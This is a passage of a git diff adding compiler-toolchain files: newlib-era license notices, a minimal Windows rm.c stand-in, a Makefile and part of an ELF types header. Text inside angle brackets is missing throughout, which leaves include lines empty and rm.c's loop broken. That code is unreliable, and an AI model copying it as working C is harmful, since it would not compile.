INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(19) Todd C. Miller + +Copyright (c) 1998 Todd C. Miller +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. +3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, +INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL +THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; +OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(20) DJ Delorie (i386) +Copyright (C) 1991 DJ Delorie +All rights reserved. + +Redistribution, modification, and use in source and binary forms is permitted +provided that the above copyright notice and following paragraph are +duplicated in all such forms. + +This file is distributed WITHOUT ANY WARRANTY; without even the implied +warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +(21) Free Software Foundation LGPL License (*-linux* targets only) + + Copyright (C) 1990-1999, 2000, 2001 Free Software Foundation, Inc. + This file is part of the GNU C Library. + Contributed by Mark Kettenis , 1997. + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, write to the Free + Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + 02110-1301 USA. + +(22) Xavier Leroy LGPL License (i[3456]86-*-linux* targets only) + +Copyright (C) 1996 Xavier Leroy (Xavier.Leroy@inria.fr) + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU Library General Public License +as published by the Free Software Foundation; either version 2 +of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Library General Public License for more details. + +(23) Intel (i960) + +Copyright (c) 1993 Intel Corporation + +Intel hereby grants you permission to copy, modify, and distribute this +software and its documentation. Intel grants this permission provided +that the above copyright notice appears in all copies and that both the +copyright notice and this permission notice appear in supporting +documentation. In addition, Intel grants this permission provided that +you prominently mark as "not part of the original" any modifications +made to this software or documentation, and that the name of Intel +Corporation not be used in advertising or publicity pertaining to +distribution of the software or the documentation without specific, +written prior permission. + +Intel Corporation provides this AS IS, WITHOUT ANY WARRANTY, EXPRESS OR +IMPLIED, INCLUDING, WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY +OR FITNESS FOR A PARTICULAR PURPOSE. Intel makes no guarantee or +representations regarding the use of, or the results of the use of, +the software and documentation in terms of correctness, accuracy, +reliability, currentness, or otherwise; and you rely on the software, +documentation and results solely at your own risk. + +IN NO EVENT SHALL INTEL BE LIABLE FOR ANY LOSS OF USE, LOSS OF BUSINESS, +LOSS OF PROFITS, INDIRECT, INCIDENTAL, SPECIAL OR CONSEQUENTIAL DAMAGES +OF ANY KIND. IN NO EVENT SHALL INTEL'S TOTAL LIABILITY EXCEED THE SUM +PAID TO INTEL FOR THE PRODUCT LICENSED HEREUNDER. + +(24) Hewlett-Packard (hppa targets only) + +(c) Copyright 1986 HEWLETT-PACKARD COMPANY + +To anyone who acknowledges that this file is provided "AS IS" +without any express or implied warranty: + permission to use, copy, modify, and distribute this file +for any purpose is hereby granted without fee, provided that +the above copyright notice and this notice appears in all +copies, and that the name of Hewlett-Packard Company not be +used in advertising or publicity pertaining to distribution +of the software without specific, written prior permission. +Hewlett-Packard Company makes no representations about the +suitability of this software for any purpose. + +(25) Henry Spencer (only *-linux targets) + +Copyright 1992, 1993, 1994 Henry Spencer. All rights reserved. +This software is not subject to any license of the American Telephone +and Telegraph Company or of the Regents of the University of California. + +Permission is granted to anyone to use this software for any purpose on +any computer system, and to alter it and redistribute it, subject +to the following restrictions: + +1. The author is not responsible for the consequences of use of this + software, no matter how awful, even if they arise from flaws in it. + +2. The origin of this software must not be misrepresented, either by + explicit claim or by omission. Since few users ever read sources, + credits must appear in the documentation. + +3. Altered versions must be plainly marked as such, and must not be + misrepresented as being the original software. Since few users + ever read sources, credits must appear in the documentation. + +4. This notice may not be removed or altered. + +(26) Mike Barcroft + +Copyright (c) 2001 Mike Barcroft +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(27) Konstantin Chuguev (--enable-newlib-iconv) + +Copyright (c) 1999, 2000 + Konstantin Chuguev. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + + iconv (Charset Conversion Library) v2.0 + +(28) Artem Bityuckiy (--enable-newlib-iconv) + +Copyright (c) 2003, Artem B. Bityuckiy, SoftMine Corporation. +Rights transferred to Franklin Electronic Publishers. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(29) IBM, Sony, Toshiba (only spu-* targets) + + (C) Copyright 2001,2006, + International Business Machines Corporation, + Sony Computer Entertainment, Incorporated, + Toshiba Corporation, + + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the names of the copyright holders nor the names of their + contributors may be used to endorse or promote products derived from this + software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. + +(30) - Alex Tatmanjants (targets using libc/posix) + + Copyright (c) 1995 Alex Tatmanjants + at Electronni Visti IA, Kiev, Ukraine. + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(31) - M. Warner Losh (targets using libc/posix) + + Copyright (c) 1998, M. Warner Losh + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(32) - Andrey A. Chernov (targets using libc/posix) + + Copyright (C) 1996 by Andrey A. Chernov, Moscow, Russia. + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(33) - Daniel Eischen (targets using libc/posix) + + Copyright (c) 2001 Daniel Eischen . + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + + +(34) - Jon Beniston (only lm32-* targets) + + Contributed by Jon Beniston + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + + +(35) - ARM Ltd (arm and thumb variant targets only) + + Copyright (c) 2009 ARM Ltd + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + 3. The name of the company may not be used to endorse or promote + products derived from this software without specific prior written + permission. + + THIS SOFTWARE IS PROVIDED BY ARM LTD ``AS IS'' AND ANY EXPRESS OR IMPLIED + WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + IN NO EVENT SHALL ARM LTD BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED + TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(36) - Xilinx, Inc. (microblaze-* and powerpc-* targets) + +Copyright (c) 2004, 2009 Xilinx, Inc. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +1. Redistributions source code must retain the above copyright notice, +this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright +notice, this list of conditions and the following disclaimer in the +documentation and/or other materials provided with the distribution. + +3. Neither the name of Xilinx nor the names of its contributors may be +used to endorse or promote products derived from this software without +specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS "AS +IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED +TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A +PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED +TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + +(37) Texas Instruments Incorporated (tic6x-* targets) + +Copyright (c) 1996-2010 Texas Instruments Incorporated +http://www.ti.com/ + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + + Neither the name of Texas Instruments Incorporated nor the names + of its contributors may be used to endorse or promote products + derived from this software without specific prior written + permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(38) National Semiconductor (cr16-* and crx-* targets) + +Copyright (c) 2004 National Semiconductor Corporation + +The authors hereby grant permission to use, copy, modify, distribute, +and license this software and its documentation for any purpose, provided +that existing copyright notices are retained in all copies and that this +notice is included verbatim in any distributions. No written agreement, +license, or royalty fee is required for any of the authorized uses. +Modifications to this software may be copyrighted by their authors +and need not follow the licensing terms described here, provided that +the new terms are clearly indicated on the first page of each file where +they apply. + +(39) - Adapteva, Inc. (epiphany-* targets) + +Copyright (c) 2011, Adapteva, Inc. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + * Neither the name of Adapteva nor the names of its contributors may be used + to endorse or promote products derived from this software without specific + prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +=== lpc21isp License === + +Copyright: (c) Martin Maurer 2003-2014, All rights reserved +Portions Copyright (c) by Aeolus Development 2004 http://www.aeolusdevelopment.com + +This file is part of lpc21isp. +lpc21isp is free software: you can redistribute it and/or modify +it under the terms of the GNU Lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. +lpc21isp is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Lesser General Public License for more details. +You should have received a copy of the GNU Lesser General Public License +and GNU General Public License along with lpc21isp. +If not, see . + +=== mx-postlinker License === + +Copyright (C) 2012 by Luigi Rucco and Terraneo Federico + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + + This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, see diff --git a/tools/compiler/gcc-9.2.0-mp3.4/installers/windows/rm.c b/tools/compiler/gcc-9.2.0-mp3.4/installers/windows/rm.c new file mode 100644 index 000000000..c130c3637 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/installers/windows/rm.c @@ -0,0 +1,17 @@ +/* + * FIXME: try to crosscompile coreutils for windows, so as to get a real rm.exe + */ + +#include +#include + +int main(int argc, char *argv[]) +{ + int i; + for(i=0;i0 && argv[i][0]!='-') + remove(argv[i]); + } + return 0; +} diff --git a/tools/compiler/gcc-9.2.0-mp3.4/lpc21isp_148_src.zip b/tools/compiler/gcc-9.2.0-mp3.4/lpc21isp_148_src.zip new file mode 100644 index 000000000..ccded9c38 Binary files /dev/null and b/tools/compiler/gcc-9.2.0-mp3.4/lpc21isp_148_src.zip differ diff --git a/tools/compiler/gcc-9.2.0-mp3.4/mx-postlinker/Makefile b/tools/compiler/gcc-9.2.0-mp3.4/mx-postlinker/Makefile new file mode 100644 index 000000000..8806a6182 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/mx-postlinker/Makefile @@ -0,0 +1,20 @@ +CXX:= g++ +CXXFLAGS:= -MMD -MP -O2 -c +OBJ:= postlinker.o main.o + +#create program target + +mx-postlinker: $(OBJ) + $(CXX) -o $@${SUFFIX} $(OBJ) + +install: mx-postlinker + cp mx-postlinker${SUFFIX} $(INSTALL_DIR) + +clean: + -rm mx-postlinker${SUFFIX} *.o *.d + +%.o: %.cpp + $(CXX) $(CXXFLAGS) $? -o $@ + +#pull in dependecy info for existing .o files +-include $(OBJ:.o=.d) diff --git a/tools/compiler/gcc-9.2.0-mp3.4/mx-postlinker/elf_types.h b/tools/compiler/gcc-9.2.0-mp3.4/mx-postlinker/elf_types.h new file mode 100644 index 000000000..8fc3525d6 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/mx-postlinker/elf_types.h @@ -0,0 +1,208 @@ +/*************************************************************************** + * Copyright (C) 2012 by Luigi Rucco and Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include + +namespace miosix { + +// elf-specific types +typedef uint32_t Elf32_Word; +typedef int32_t Elf32_Sword; +typedef uint16_t Elf32_Half; +typedef uint32_t Elf32_Off; +typedef uint32_t Elf32_Addr; + +// Size of e_ident in the elf header +const int EI_NIDENT=16; + +/* + * Elf header + */ +struct Elf32_Ehdr +{ + unsigned char e_ident[EI_NIDENT]; // Ident bytes + Elf32_Half e_type; // File type, any of the ET_* constants + Elf32_Half e_machine; // Target machine + Elf32_Word e_version; // File version + Elf32_Addr e_entry; // Start address + Elf32_Off e_phoff; // Phdr file offset + Elf32_Off e_shoff; // Shdr file offset + Elf32_Word e_flags; // File flags + Elf32_Half e_ehsize; // Sizeof ehdr + Elf32_Half e_phentsize; 